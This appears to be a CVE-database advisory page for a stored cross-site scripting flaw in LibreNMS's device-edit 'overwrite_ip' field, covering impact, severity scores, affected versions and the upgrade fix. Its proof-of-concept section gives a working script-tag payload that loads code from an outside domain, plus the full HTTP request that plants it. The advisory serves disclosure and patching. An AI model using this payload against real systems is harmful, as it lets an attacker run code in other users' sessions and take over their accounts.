CVE-2024-51495 — Vulnerability in librenms/librenms — CVE Details
LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php
What Should I Do?
Address in Next Maintenance Window
Low exploitation probability (0.60%). Schedule for your next planned update.
Does your project use an affected librenms/librenms version?
Paste your composer.lock to check it for CVE-2024-51495 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.
Summary
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page allows authenticated users to inject arbitrary JavaScript through the "overwrite_ip" parameter when editing a device. This vulnerability results in the execution of malicious code when the device overview page is visited, potentially compromising the accounts of other users.
Details
The vulnerability occurs when editing a device. An attacker can inject arbitrary JavaScript into the "overwrite_ip" parameter. This malicious script is then executed in the "Assigned IP" field when the device overview page is loaded.
The payload used to exploit this vulnerability is: test'"><script src=//15.rs></script>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The root cause of this vulnerability is the application's failure to properly sanitize the "overwrite_ip" value before including it in the HTML output. This is evident in the following line of code:
PoC
- Edit a device and use the following payload in the "overwrite_ip" parameter:
test'"><script src=//15.rs></script> - Save the changes.
- Navigate to the device overview page.
- Observe that the injected script executes in the "Assigned IP" field.
POST /device/14/edit HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&editing=yes&display=&overwrite_ip=test'"><script+src=//15.rs></script>&descr=&type=&parent_id%5B%5D=15&Submit=
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. Compromised accounts could lead to unauthorized actions being taken on behalf of the impacted users.
Advisory Timeline
- First published November 15, 2024 (741 days ago).
- Last revised November 15, 2024 — 0 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
composer require "librenms/librenms:^24.10.0"
After upgrading, scan your dependencies again to confirm the vulnerability is resolved.
Affected Packages (1)
Affects 1 ecosystem: Packagist (1).
| Package | Fixed In |
|---|---|
| librenms/librenms Packagist · Affected: 1.19, 1.20, 1.20.1, 1.21 (+126 more) | 24.10.0 |
Vulnerability Classification
Common Weakness Enumeration (CWE) identifiers for this vulnerability type.
- CWE-79Cross-site Scripting (XSS)MITRE
CVSS Score Breakdown
What the CVSS (Common Vulnerability Scoring System) 7.5 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
References
Frequently Asked Questions
- What is CVE-2024-51495?
- LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/dev-overview-data.inc.php. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.5/10).
- How do I check if my project is affected by CVE-2024-51495?
- CVE-2024-51495 affects librenms/librenms. It has a 0.6% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2024-51495 and 200,000+ other known vulnerabilities.
Severity & Exploitability
Significant impact if exploited, or exploitable with modest effort.
This is a below-median EPSS score — only 43% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.
Also Known As
Related CVEs
- CVE-2024-47524HIGH
LibreNMS has Stored Cross-site Scripting vulnerability in "Device Group" Name
- CVE-2024-49754HIGH
LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php
- CVE-2025-54138HIGH
LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE
- CVE-2025-23199MEDIUM
LibreNMS Ports Stored Cross-site Scripting vulnerability
- CVE-2025-62411MEDIUM
LibreNMS has a Stored XSS vulnerability in its Alert Transport name field
- CVE-2025-23201MEDIUM
Librenms has a reflected XSS on error alert
- CVE-2026-26987MEDIUM
LibreNMS affected by reflected xss via email field
- CVE-2024-47526LOW
LibreNMS has Stored Cross-site Scripting vulnerability in "Alert Templates" feature